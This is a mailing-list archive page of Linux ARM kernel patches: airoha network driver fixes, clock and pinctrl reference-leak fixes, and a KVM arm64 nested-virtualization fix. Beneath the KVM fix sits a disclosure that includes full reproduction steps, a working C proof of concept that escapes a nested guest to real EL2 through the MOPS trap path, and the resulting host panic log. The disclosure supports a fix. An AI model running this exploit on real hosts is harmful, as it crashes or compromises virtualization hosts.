Linux-ARM-Kernel Archive on lore.kernel.org
 help / color / mirror / Atom feed
* Re: [PATCH v2] [net] net: airoha: Fix QoS counter configuration for Tx-fwd channels
From: Lorenzo Bianconi @ 2026-06-16 12:35 UTC (permalink / raw)
  To: Wayen Yan
  Cc: netdev, horms, pabeni, kuba, edumazet, andrew+netdev,
	angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
	linux-mediatek
In-Reply-To: <178161132384.2164449.18407700117859190327@gmail.com>

[-- Attachment #1: Type: text/plain, Size: 1430 bytes --]

> In airoha_qdma_init_qos_stats(), the Tx-fwd counter was incorrectly
> using register index (i << 1) instead of ((i << 1) + 1). This caused
> the Tx-fwd configuration to overwrite the Tx-cpu configuration for
> each QoS channel, resulting in incorrect QoS statistics.
> 
> Fix by using the correct register index ((i << 1) + 1) for Tx-fwd
> counter configuration.
> 
> Fixes: 20bf7d07c956 ("net: airoha: Add sched ETS offload support")
> Signed-off-by: Wayen Yan <win847@gmail.com>

Is this a patch you already sent? IIRC I have acked it.

Regards,
Lorenzo

> ---
>  drivers/net/ethernet/airoha/airoha_eth.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
> index 31cdb11cd7..329988a840 100644
> --- a/drivers/net/ethernet/airoha/airoha_eth.c
> +++ b/drivers/net/ethernet/airoha/airoha_eth.c
> @@ -1256,7 +1256,7 @@ static void airoha_qdma_init_qos_stats(struct airoha_qdma *qdma)
>  			       FIELD_PREP(CNTR_CHAN_MASK, i));
>  		/* Tx-fwd transferred count */
>  		airoha_qdma_wr(qdma, REG_CNTR_VAL((i << 1) + 1), 0);
> -		airoha_qdma_wr(qdma, REG_CNTR_CFG(i << 1),
> +		airoha_qdma_wr(qdma, REG_CNTR_CFG((i << 1) + 1),
>  			       CNTR_EN_MASK | CNTR_ALL_QUEUE_EN_MASK |
>  			       CNTR_ALL_DSCP_RING_EN_MASK |
>  			       FIELD_PREP(CNTR_SRC_MASK, 1) |
> -- 
> 2.51.0
> 
> 

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]

^ permalink raw reply

* Re: [PATCH v2] [net] net: airoha: fix foe_check_time allocation size
From: Lorenzo Bianconi @ 2026-06-16 12:34 UTC (permalink / raw)
  To: Wayen Yan
  Cc: netdev, horms, pabeni, kuba, edumazet, andrew+netdev,
	angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
	linux-mediatek
In-Reply-To: <178161119471.2163752.14373384830691569758@gmail.com>

[-- Attachment #1: Type: text/plain, Size: 1276 bytes --]

> foe_check_time is declared as u16 pointer but was allocated with
> only ppe_num_entries bytes instead of ppe_num_entries * sizeof(u16).
> 
> When airoha_ppe_foe_verify_entry() is called with hash >= ppe_num_entries/2,
> it writes beyond the allocated buffer, causing heap buffer overflow and
> potential kernel crash.
> 
> Fixes: 6d5b601d52a2 ("net: airoha: ppe: Dynamically allocate foe_check_time array in airoha_ppe struct")
> Signed-off-by: Wayen Yan <win847@gmail.com>

Acked-by: Lorenzo Bianconi <lorenzo@kernel.org>

> ---
>  drivers/net/ethernet/airoha/airoha_ppe.c | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
> 
> diff --git a/drivers/net/ethernet/airoha/airoha_ppe.c b/drivers/net/ethernet/airoha/airoha_ppe.c
> index 5c9dff6bcc..8fb8ecf909 100644
> --- a/drivers/net/ethernet/airoha/airoha_ppe.c
> +++ b/drivers/net/ethernet/airoha/airoha_ppe.c
> @@ -1578,7 +1578,8 @@ int airoha_ppe_init(struct airoha_eth *eth)
>  			return -ENOMEM;
>  	}
>  
> -	ppe->foe_check_time = devm_kzalloc(eth->dev, ppe_num_entries,
> +	ppe->foe_check_time = devm_kzalloc(eth->dev,
> +					   ppe_num_entries * sizeof(*ppe->foe_check_time),
>  					   GFP_KERNEL);
>  	if (!ppe->foe_check_time)
>  		return -ENOMEM;
> -- 
> 2.51.0
> 
> 

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]

^ permalink raw reply

* [PATCH v2] clk: mvebu: ap-cpu: fix missing clk_put() in ap_cpu_clock_probe()
From: Wentao Liang @ 2026-06-16 12:29 UTC (permalink / raw)
  To: andrew, gregory.clement, sebastian.hesselbarth, mturquette, sboyd
  Cc: bmasney, linux-arm-kernel, linux-clk, linux-kernel, Wentao Liang

The function ap_cpu_clock_probe() calls of_clk_get() to obtain a
reference to the parent clock for each CPU cluster, but it never
releases it with clk_put().  The returned clk is used only to read
the parent's name via __clk_get_name(), and the reference is leaked
on every successful cluster initialization as well as on the error
path when devm_clk_hw_register() fails.

Rather than adding clk_put() calls, replace the of_clk_get() +
__clk_get_name() pattern with of_clk_get_parent_name(), which is
the intended API for this use case and handles the reference
counting internally.  This matches the pattern already used by the
sibling drivers clk-cpu.c and clk-corediv.c.

Fixes: af9617b419f7 ("clk: mvebu: ap-cpu-clk: Fix a memory leak in error handling paths")
Signed-off-by: Wentao Liang <vulab@iscas.ac.cn>
---
v2: Replace of_clk_get() + __clk_get_name() with of_clk_get_parent_name()
    as suggested by Brian Masney, instead of adding clk_put() calls.
    Also correct the Fixes: tag to point to the original commit that
    introduced the leak.
---
 drivers/clk/mvebu/ap-cpu-clk.c | 10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

diff --git a/drivers/clk/mvebu/ap-cpu-clk.c b/drivers/clk/mvebu/ap-cpu-clk.c
index a8175908e353..1cf63c7a0bc3 100644
--- a/drivers/clk/mvebu/ap-cpu-clk.c
+++ b/drivers/clk/mvebu/ap-cpu-clk.c
@@ -288,7 +288,6 @@ static int ap_cpu_clock_probe(struct platform_device *pdev)
 		char *clk_name = "cpu-cluster-0";
 		struct clk_init_data init;
 		const char *parent_name;
-		struct clk *parent;
 		u64 cpu;
 
 		cpu = of_get_cpu_hwid(dn, 0);
@@ -304,13 +303,12 @@ static int ap_cpu_clock_probe(struct platform_device *pdev)
 		if (ap_cpu_data->hws[cluster_index])
 			continue;
 
-		parent = of_clk_get(np, cluster_index);
-		if (IS_ERR(parent)) {
-			dev_err(dev, "Could not get the clock parent\n");
+		parent_name = of_clk_get_parent_name(np, cluster_index);
+		if (!parent_name) {
+			dev_err(dev, "Could not get the clock parent name\n");
 			of_node_put(dn);
 			return -EINVAL;
 		}
-		parent_name =  __clk_get_name(parent);
 		clk_name[12] += cluster_index;
 		ap_cpu_clk[cluster_index].clk_name =
 			ap_cp_unique_name(dev, np->parent, clk_name);
@@ -328,11 +326,9 @@ static int ap_cpu_clock_probe(struct platform_device *pdev)
 		ret = devm_clk_hw_register(dev, &ap_cpu_clk[cluster_index].hw);
 		if (ret) {
 			of_node_put(dn);
-			clk_put(parent);
 			return ret;
 		}
 		ap_cpu_data->hws[cluster_index] = &ap_cpu_clk[cluster_index].hw;
-		clk_put(parent);
 	}
 
 	ap_cpu_data->num = cluster_index + 1;
-- 
2.34.1



^ permalink raw reply related

* [PATCH RESEND] pinctrl: imx1: fix device_node leak in dt_is_flat_functions()
From: Felix Gu @ 2026-06-16 12:14 UTC (permalink / raw)
  To: Dong Aisheng, Fabio Estevam, Frank Li, Jacky Bai,
	Pengutronix Kernel Team, NXP S32 Linux Team, Linus Walleij,
	Sascha Hauer
  Cc: linux-gpio, imx, linux-arm-kernel, linux-kernel, Felix Gu

for_each_child_of_node() holds a reference on the iterator node that
must be released on early return. imx1_pinctrl_dt_is_flat_functions()
has two early return paths inside the loop that skip this cleanup.

Replace both loops with the scoped variant so that the reference is
automatically dropped when the iterator goes out of scope.

Fixes: 63d2059cd665 ("pinctrl: imx1: Allow parsing DT without function nodes")
Signed-off-by: Felix Gu <ustc.gu@gmail.com>
---
 drivers/pinctrl/freescale/pinctrl-imx1-core.c | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/drivers/pinctrl/freescale/pinctrl-imx1-core.c b/drivers/pinctrl/freescale/pinctrl-imx1-core.c
index b7bd4ef9c0db..4a6bdaefa42f 100644
--- a/drivers/pinctrl/freescale/pinctrl-imx1-core.c
+++ b/drivers/pinctrl/freescale/pinctrl-imx1-core.c
@@ -547,14 +547,11 @@ static int imx1_pinctrl_parse_functions(struct device_node *np,
  */
 static bool imx1_pinctrl_dt_is_flat_functions(struct device_node *np)
 {
-	struct device_node *function_np;
-	struct device_node *pinctrl_np;
-
-	for_each_child_of_node(np, function_np) {
+	for_each_child_of_node_scoped(np, function_np) {
 		if (of_property_present(function_np, "fsl,pins"))
 			return true;
 
-		for_each_child_of_node(function_np, pinctrl_np) {
+		for_each_child_of_node_scoped(function_np, pinctrl_np) {
 			if (of_property_present(pinctrl_np, "fsl,pins"))
 				return false;
 		}

---
base-commit: c1ecb239fa3456529a32255359fc78b69eb9d847
change-id: 20260523-pinctrl-imx-b198f8391abf

Best regards,
--
Felix Gu <ustc.gu@gmail.com>
-- 
Felix Gu <ustc.gu@gmail.com>



^ permalink raw reply related

* [PATCH v2] [net] net: airoha: Clean up RX queues in airoha_dev_stop
From: Wayen Yan @ 2026-06-16 10:50 UTC (permalink / raw)
  To: netdev
  Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
	angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
	linux-mediatek

When the last port is stopped, airoha_dev_stop() clears TX queues
but neglects to clean up RX queues. This can lead to:
- RX ring buffer descriptors remaining valid after device close
- Potential DMA synchronization issues on device reopen
- Risk of use-after-free if pages are freed while DMA is still active

Add cleanup loop for RX queues to mirror the TX queue cleanup,
ensuring symmetric resource management.

Fixes: 23020f049327 ("net: airoha: Introduce ethernet support for EN7581 SoC")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
 drivers/net/ethernet/airoha/airoha_eth.c | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..9ca5bbf64d 100644
--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1771,6 +1771,13 @@ static int airoha_dev_stop(struct net_device *dev)
 
 			airoha_qdma_cleanup_tx_queue(&qdma->q_tx[i]);
 		}
+
+		for (i = 0; i < ARRAY_SIZE(qdma->q_rx); i++) {
+			if (!qdma->q_rx[i].ndesc)
+				continue;
+
+			airoha_qdma_cleanup_rx_queue(&qdma->q_rx[i]);
+		}
 	}
 
 	return 0;
-- 
2.51.0




^ permalink raw reply related

* [PATCH v2] [net] net: airoha: Stop TX queues on error path in airoha_dev_open
From: Wayen Yan @ 2026-06-16 10:50 UTC (permalink / raw)
  To: netdev
  Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
	angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
	linux-mediatek

In airoha_dev_open(), if airoha_set_vip_for_gdm_port() fails after
netif_tx_start_all_queues() has been called, the TX queues remain
started while the device configuration is incomplete. This leaves
the device in an inconsistent state where packets could be
transmitted before the VIP/IFC port configuration is complete.

Add netif_tx_stop_all_queues() call on the error path to properly
roll back the TX queue state.

Fixes: 23020f049327 ("net: airoha: Introduce ethernet support for EN7581 SoC")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
 drivers/net/ethernet/airoha/airoha_eth.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..cf9c366907 100644
--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1715,8 +1715,10 @@ static int airoha_dev_open(struct net_device *dev)
 
 	netif_tx_start_all_queues(dev);
 	err = airoha_set_vip_for_gdm_port(port, true);
-	if (err)
+	if (err) {
+		netif_tx_stop_all_queues(dev);
 		return err;
+	}
 
 	if (netdev_uses_dsa(dev))
 		airoha_fe_set(qdma->eth, REG_GDM_INGRESS_CFG(port->id),
-- 
2.51.0




^ permalink raw reply related

* Re: [PATCH] KVM: arm64: nv: Translate vEL2 PSTATE to EL1 in kvm_hyp_handle_mops()
From: Weiming Shi @ 2026-06-16 12:03 UTC (permalink / raw)
  To: Marc Zyngier, Oliver Upton, Catalin Marinas, Will Deacon
  Cc: Joey Gouly, Steffen Eiden, Suzuki K Poulose, Zenghui Yu,
	Andrew Morton, Jakub Kicinski, Bjorn Andersson, Mark Rutland,
	Kristina Martsenko, linux-arm-kernel, kvmarm, Zhong Wang,
	Xuanqing Shi
In-Reply-To: <20260616114943.81188-2-bestswngs@gmail.com>



Reproduction Steps:

1. prepare arm64 kernel image

```
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- defconfig
./scripts/config -e VIRTUALIZATION -e KVM
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- olddefconfig
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j$(nproc) Image
make ARCH=arm64 headers_install INSTALL_HDR_PATH=/tmp/khdr
```
2. prepare qemu + initramfs

3. boot qemu with the kernel iamge

```
qemu-system-aarch64 \
    -machine virt,virtualization=on,gic-version=3 -cpu max -accel tcg \
    -smp 2 -m 2G -kernel arch/arm64/boot/Image -initrd initramfs.cpio.gz \
    -append "console=ttyAMA0 kvm-arm.mode=nested rdinit=/init panic=-1 oops=panic" \
    -nographic -no-reboot
```

PoC:

```
/*
* PoC: kvm_hyp_handle_mops SPSR_EL2 privilege escalation (EL1 -> EL2)
*
* Demonstrates that kvm_hyp_handle_mops writes un-translated PSR_MODE_EL2h
* into hardware SPSR_EL2 on the fast-reentry path, allowing a nested guest
* to escape to real EL2 after an EC_MOPS trap.
*
* Build:  aarch64-linux-gnu-gcc -static -O0 -o poc_mops poc_mops_clean.c
* Run:    sudo ./poc_mops
*
* Expected result on vulnerable kernel: HYP panic with PS:00000009 (EL2h)
*/


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <linux/kvm.h>


#define KVM_ARM_VCPU_HAS_EL2  7


#define PSR_MODE_EL1h  0x00000005
#define PSR_MODE_EL2h  0x00000009


#define ARM64_CORE_REG(u32_off) (0x6030000000100000ULL | (uint64_t)(u32_off))
#define REG_X(n)    ARM64_CORE_REG((n) * 2)
#define REG_SP      ARM64_CORE_REG(62)
#define REG_PC      ARM64_CORE_REG(64)
#define REG_PSTATE  ARM64_CORE_REG(66)


#define GUEST_MEM_SIZE   (64 * 1024 * 1024)
#define GUEST_CODE_ADDR  0x40000000ULL
#define GUEST_STACK_TOP  (GUEST_CODE_ADDR + GUEST_MEM_SIZE - 0x1000)
#define MMIO_ADDR        0x10000000ULL


static int kvm_set_one_reg(int fd, uint64_t id, uint64_t val)
{
   struct kvm_one_reg r = { .id = id, .addr = (uint64_t)&val };
   return ioctl(fd, KVM_SET_ONE_REG, &r);
}


static int kvm_get_one_reg(int fd, uint64_t id, uint64_t *val)
{
   struct kvm_one_reg r = { .id = id, .addr = (uint64_t)val };
   return ioctl(fd, KVM_GET_ONE_REG, &r);
}


static void die(const char *msg) { perror(msg); exit(1); }


/*
* Guest code (runs at virtual EL2h).
*
* Triggers EC_MOPS by executing CPYP (prologue, large size so it doesn't
* complete in prologue phase) followed immediately by CPYE (epilogue).
* The CPU detects PSTATE.MOPS_STATE mismatch and traps.
*
* kvm_hyp_handle_mops resets PC -= 8 (for epilogue) and writes vcpu_cpsr
* (which contains EL2h after fixup_guest_exit reverse translation) directly
* to HW SPSR_EL2 without forward translation. On eret, the CPU enters
* real EL2h at the guest PC, causing an instruction abort (no EL2 mapping
* for guest addresses) -> HYP panic.
*
* Layout (offsets from GUEST_CODE_ADDR):
*   +0x00  setup x0,x1,x2,x3
*   +0x10  movz x9, #0
*   +0x14  mrs x10, CurrentEL         ; record EL before
*   +0x18  str x10, [x3]              ; MMIO exit #1
*   +0x1C  b +16                      ; jump to cpyp at +0x2C
*   +0x20  nop
*   +0x24  nop
*   +0x28  mrs x11, CurrentEL         ; <-- RESET LANDS HERE (0x30-8)
*   +0x2C  cpyp [x0]!, [x1]!, x2!
*   +0x30  cpye [x0]!, [x1]!, x2!    ; EC_MOPS trap
*   +0x34  str x11, [x3]              ; MMIO exit #2 (after 2nd pass)
*   +0x38  b .                        ; done
*/
static const uint32_t guest_code[] = {
   0xd2a80200,  /* +0x00  movz x0, #0x4010, lsl #16  (dest = 0x40100000) */
   0xd2a80401,  /* +0x04  movz x1, #0x4020, lsl #16  (src  = 0x40200000) */
   0xd2a00202,  /* +0x08  movz x2, #0x10, lsl #16    (size = 1MB) */
   0xd2a20003,  /* +0x0C  movz x3, #0x1000, lsl #16  (MMIO = 0x10000000) */
   0xd2800009,  /* +0x10  movz x9, #0 */
   0xd538424a,  /* +0x14  mrs x10, CurrentEL */
   0xf900006a,  /* +0x18  str x10, [x3] */
   0x14000004,  /* +0x1C  b +16 -> +0x2C */
   0xd503201f,  /* +0x20  nop */
   0xd503201f,  /* +0x24  nop */
   0xd538424b,  /* +0x28  mrs x11, CurrentEL (AFTER eret) */
   0x1d010440,  /* +0x2C  cpyp [x0]!, [x1]!, x2! */
   0x1d810440,  /* +0x30  cpye [x0]!, [x1]!, x2! -> EC_MOPS */
   0xf900006b,  /* +0x34  str x11, [x3] */
   0x14000000,  /* +0x38  b . */
};


int main(void)
{
   int kvm_fd, vm_fd, vcpu_fd, ret;
   struct kvm_vcpu_init vcpu_init = {};
   struct kvm_run *run;
   void *guest_mem;


   setbuf(stdout, NULL);
   setbuf(stderr, NULL);


   printf("[*] kvm_hyp_handle_mops SPSR privilege escalation PoC\n");
   printf("[*] Target: Linux kernel with CONFIG_KVM_ARM_NV + FEAT_MOPS\n\n");


   kvm_fd = open("/dev/kvm", O_RDWR);
   if (kvm_fd < 0) die("open /dev/kvm");


   vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);
   if (vm_fd < 0) die("KVM_CREATE_VM");


   /* Guest memory */
   guest_mem = mmap(NULL, GUEST_MEM_SIZE, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (guest_mem == MAP_FAILED) die("mmap");


   struct kvm_userspace_memory_region region = {
       .slot = 0,
       .guest_phys_addr = GUEST_CODE_ADDR,
       .memory_size = GUEST_MEM_SIZE,
       .userspace_addr = (uint64_t)guest_mem,
   };
   if (ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, &region) < 0)
       die("KVM_SET_USER_MEMORY_REGION");


   memcpy(guest_mem, guest_code, sizeof(guest_code));


   /* Create vCPU with nested virtualization */
   vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0);
   if (vcpu_fd < 0) die("KVM_CREATE_VCPU");


   if (ioctl(vm_fd, KVM_ARM_PREFERRED_TARGET, &vcpu_init) < 0)
       die("KVM_ARM_PREFERRED_TARGET");


   vcpu_init.features[0] |= (1 << KVM_ARM_VCPU_HAS_EL2);
   if (ioctl(vcpu_fd, KVM_ARM_VCPU_INIT, &vcpu_init) < 0) {
       perror("KVM_ARM_VCPU_INIT with HAS_EL2");
       printf("[-] Nested virtualization not supported.\n");
       return 1;
   }
   printf("[+] vCPU created with nested virt (NV)\n");


   /* GICv3 (required before KVM_RUN) */
   {
       struct kvm_create_device gic_dev = { .type = KVM_DEV_TYPE_ARM_VGIC_V3 };
       if (ioctl(vm_fd, KVM_CREATE_DEVICE, &gic_dev) < 0)
           die("KVM_CREATE_DEVICE GICv3");


       uint64_t dist = 0x08000000ULL, redist = 0x080A0000ULL;
       struct kvm_device_attr attr = {
           .group = KVM_DEV_ARM_VGIC_GRP_ADDR,
           .attr = KVM_VGIC_V3_ADDR_TYPE_DIST,
           .addr = (uint64_t)&dist,
       };
       ioctl(gic_dev.fd, KVM_SET_DEVICE_ATTR, &attr);
       attr.attr = KVM_VGIC_V3_ADDR_TYPE_REDIST;
       attr.addr = (uint64_t)&redist;
       ioctl(gic_dev.fd, KVM_SET_DEVICE_ATTR, &attr);


       attr = (struct kvm_device_attr){
           .group = KVM_DEV_ARM_VGIC_GRP_CTRL,
           .attr = KVM_DEV_ARM_VGIC_CTRL_INIT,
       };
       ioctl(gic_dev.fd, KVM_SET_DEVICE_ATTR, &attr);
       printf("[+] GICv3 initialized\n");
   }


   /* Set vCPU state: start at virtual EL2h */
   kvm_set_one_reg(vcpu_fd, REG_PC, GUEST_CODE_ADDR);
   kvm_set_one_reg(vcpu_fd, REG_SP, GUEST_STACK_TOP);
   if (kvm_set_one_reg(vcpu_fd, REG_PSTATE, PSR_MODE_EL2h) < 0) {
       printf("[!] Cannot set EL2h, falling back to EL1h\n");
       kvm_set_one_reg(vcpu_fd, REG_PSTATE, PSR_MODE_EL1h);
   }
   printf("[+] vCPU: PC=0x%llx PSTATE=EL2h SP=0x%llx\n",
          (unsigned long long)GUEST_CODE_ADDR,
          (unsigned long long)GUEST_STACK_TOP);


   /* Map kvm_run */
   int run_size = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
   run = mmap(NULL, run_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpu_fd, 0);
   if (run == MAP_FAILED) die("mmap vcpu");


   /* Execute guest */
   printf("\n[*] Running guest. If kernel panics -> vulnerability confirmed.\n\n");


   int mmio_count = 0;
   uint64_t el_before = 0, el_after = 0;


   for (int i = 0; i < 100; i++) {
       ret = ioctl(vcpu_fd, KVM_RUN, 0);
       if (ret < 0) {
           printf("[-] KVM_RUN failed: %s (errno=%d)\n", strerror(errno), errno);
           break;
       }


       switch (run->exit_reason) {
       case KVM_EXIT_MMIO:
           if (run->mmio.is_write && run->mmio.phys_addr == MMIO_ADDR) {
               uint64_t val = 0;
               memcpy(&val, run->mmio.data, run->mmio.len);
               mmio_count++;
               printf("[+] MMIO #%d: CurrentEL = 0x%llx (EL%lld)\n",
                      mmio_count, (unsigned long long)val, (long long)(val >> 2) & 3);
               if (mmio_count == 1) el_before = (val >> 2) & 3;
               if (mmio_count == 2) { el_after = (val >> 2) & 3; goto results; }
           }
           break;


       case KVM_EXIT_INTERNAL_ERROR:
           printf("[!] INTERNAL_ERROR: safety assert may have caught EL2h SPSR\n");
           goto done;


       case KVM_EXIT_FAIL_ENTRY:
           printf("[-] FAIL_ENTRY: 0x%llx\n",
                  (unsigned long long)run->fail_entry.hardware_entry_failure_reason);
           goto done;


       default:
           printf("[*] exit_reason=%d (iter %d)\n", run->exit_reason, i);
           break;
       }
   }
   printf("[-] Max iterations reached without result.\n");
   goto done;


results:
   printf("\n========== RESULTS ==========\n");
   printf("  EL before MOPS: EL%lld\n", (long long)el_before);
   printf("  EL after  MOPS: EL%lld\n", (long long)el_after);
   printf("=============================\n\n");


   if (el_after > el_before)
       printf("[!!!] PRIVILEGE ESCALATION: EL%lld -> EL%lld\n",
              (long long)el_before, (long long)el_after);
   else
       printf("[+] No escalation observed in guest registers.\n");


done:
   printf("\n[*] Check dmesg for HYP panic:\n");
   printf("    dmesg | grep -i 'hyp panic\\|PS:.*0009'\n");
   printf("[*] If PS:00000009 appears -> SPSR contained EL2h -> vuln confirmed.\n");


   close(vcpu_fd);
   close(vm_fd);
   close(kvm_fd);
   munmap(guest_mem, GUEST_MEM_SIZE);
   munmap(run, run_size);
   return 0;
}

```

crash log

```
========== FatalMOPS dynamic test (L1 host) ==========
  [*] CPU ID registers (FEAT_MOPS bits[19:16] of isar2; FEAT_NV bits[27:24] of mmfr2):
      /sys/devices/system/cpu/cpu0/regs/identification/id_aa64isar2_el1: (absent)
      /sys/devices/system/cpu/cpu0/regs/identification/id_aa64mmfr2_el1: (absent)
  [+] /dev/kvm present
  [*] dmesg nested-virt lines:
  [*] launching /poc ...
  [*] FatalMOPS PoC: kvm_hyp_handle_mops vEL2->EL2 escape
  [+] vCPU created with nested virt (HAS_EL2)
  [+] GICv3 initialized
  [+] vCPU starts at virtual EL2h
  [*] Running guest. Vulnerable kernel -> HYP panic expected.
  [+] MMIO #1: CurrentEL=EL2
  [    3.326956] Kernel panic - not syncing: HYP panic:
  [    3.326956] PS:00000009 PC:0000000040000028 ESR:86000005
  [    3.326956] FAR:0000000040000028 HPFAR:0000000000402000 PAR:1de7ec7edbadc0de
  [    3.326956] VCPU:000000006f4e5727
  [    3.342728] CPU: 0 UID: 0 PID: 59 Comm: poc Not tainted 7.1.0-rc7-00217-gfbc6a80cb5d3 #1 PREEMPT
  [    3.349460] Hardware name: linux,dummy-virt (DT)
  [    3.353136] Call trace:
  [    3.355241]  show_stack+0x18/0x24 (C)
  [    3.358652]  dump_stack_lvl+0x34/0x8c
  [    3.361515]  dump_stack+0x18/0x24
  [    3.364085]  vpanic+0x47c/0x4dc
  [    3.366527]  do_panic_on_target_cpu+0x0/0x1c
  [    3.369782]  kvm_unexpected_el2_exception+0x0/0x3c0
  [    3.373494]  hyp_panic+0x0/0x80
  [    3.375940]  kvm_arm_vcpu_enter_exit+0x64/0x94
  [    3.379372]  kvm_arch_vcpu_ioctl_run+0x27c/0x8f8
  [    3.382919]  kvm_vcpu_ioctl+0x174/0xa38
  [    3.385894]  __arm64_sys_ioctl+0xac/0x104
  [    3.389105]  invoke_syscall+0x54/0x10c
  [    3.392015]  el0_svc_common.constprop.0+0x40/0xe0
  [    3.395653]  do_el0_svc+0x1c/0x28
  [    3.398236]  el0_svc+0x38/0x11c
  [    3.400681]  el0t_64_sync_handler+0xa0/0xe4
  [    3.403872]  el0t_64_sync+0x198/0x19c
  [    3.407083] SMP: stopping secondary CPUs
  [    3.410661] Kernel Offset: 0x127592c00000 from 0xffff800080000000
  [    3.415585] PHYS_OFFSET: 0x40000000
  [    3.418668] CPU features: 0x00000000,0034e00b,ffeec7e1,9d7e7f3f
  [    3.423170] Memory Limit: none
```

after decode

```
  Kernel panic - not syncing: HYP panic:
  PS:00000009 PC:0000000040000028 ESR:86000005
  FAR:0000000040000028 HPFAR:0000000000402000 PAR:1de7ec7edbadc0de
  VCPU:000000006f4e5727
  CPU: 0 UID: 0 PID: 59 Comm: poc Not tainted 7.1.0-rc7-00217-gfbc6a80cb5d3 #1 PREEMPT
  Call trace:
   show_stack                   (arch/arm64/kernel/stacktrace.c:499)
   dump_stack_lvl               (lib/dump_stack.c:94 120)
   dump_stack                   (lib/dump_stack.c:129)
   vpanic                       (kernel/panic.c:650)
   do_panic_on_target_cpu       (kernel/panic.c:341)
   kvm_unexpected_el2_exception (arch/arm64/kvm/hyp/include/hyp/switch.h:964
                                 → arch/arm64/kvm/hyp/vhe/switch.c:688)
   hyp_panic                    (arch/arm64/kvm/hyp/vhe/switch.c:678)
   kvm_arm_vcpu_enter_exit      (arch/arm64/kvm/arm.c:1227)
   kvm_arch_vcpu_ioctl_run      (arch/arm64/kvm/arm.c:1324)
   kvm_vcpu_ioctl               (virt/kvm/kvm_main.c:4470)
   __arm64_sys_ioctl            (fs/ioctl.c:51 597 583)
   invoke_syscall               (arch/arm64/kernel/syscall.c:35 49)
   el0_svc_common.constprop.0   (arch/arm64/kernel/syscall.c:121)
   do_el0_svc                   (arch/arm64/kernel/syscall.c:140)
   el0_svc                      (arch/arm64/kernel/entry-common.c:740)
   el0t_64_sync_handler         (arch/arm64/kernel/entry-common.c:759)
   el0t_64_sync                 (arch/arm64/kernel/entry.S:594)
```




^ permalink raw reply

* [PATCH v2] [net] net: airoha: Fix QoS counter configuration for Tx-fwd channels
From: Wayen Yan @ 2026-06-16 10:50 UTC (permalink / raw)
  To: netdev
  Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
	angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
	linux-mediatek

In airoha_qdma_init_qos_stats(), the Tx-fwd counter was incorrectly
using register index (i << 1) instead of ((i << 1) + 1). This caused
the Tx-fwd configuration to overwrite the Tx-cpu configuration for
each QoS channel, resulting in incorrect QoS statistics.

Fix by using the correct register index ((i << 1) + 1) for Tx-fwd
counter configuration.

Fixes: 20bf7d07c956 ("net: airoha: Add sched ETS offload support")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
 drivers/net/ethernet/airoha/airoha_eth.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..329988a840 100644
--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1256,7 +1256,7 @@ static void airoha_qdma_init_qos_stats(struct airoha_qdma *qdma)
 			       FIELD_PREP(CNTR_CHAN_MASK, i));
 		/* Tx-fwd transferred count */
 		airoha_qdma_wr(qdma, REG_CNTR_VAL((i << 1) + 1), 0);
-		airoha_qdma_wr(qdma, REG_CNTR_CFG(i << 1),
+		airoha_qdma_wr(qdma, REG_CNTR_CFG((i << 1) + 1),
 			       CNTR_EN_MASK | CNTR_ALL_QUEUE_EN_MASK |
 			       CNTR_ALL_DSCP_RING_EN_MASK |
 			       FIELD_PREP(CNTR_SRC_MASK, 1) |
-- 
2.51.0




^ permalink raw reply related

* [PATCH v2] [net] net: airoha: fix foe_check_time allocation size
From: Wayen Yan @ 2026-06-16 11:52 UTC (permalink / raw)
  To: netdev
  Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
	angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
	linux-mediatek

foe_check_time is declared as u16 pointer but was allocated with
only ppe_num_entries bytes instead of ppe_num_entries * sizeof(u16).

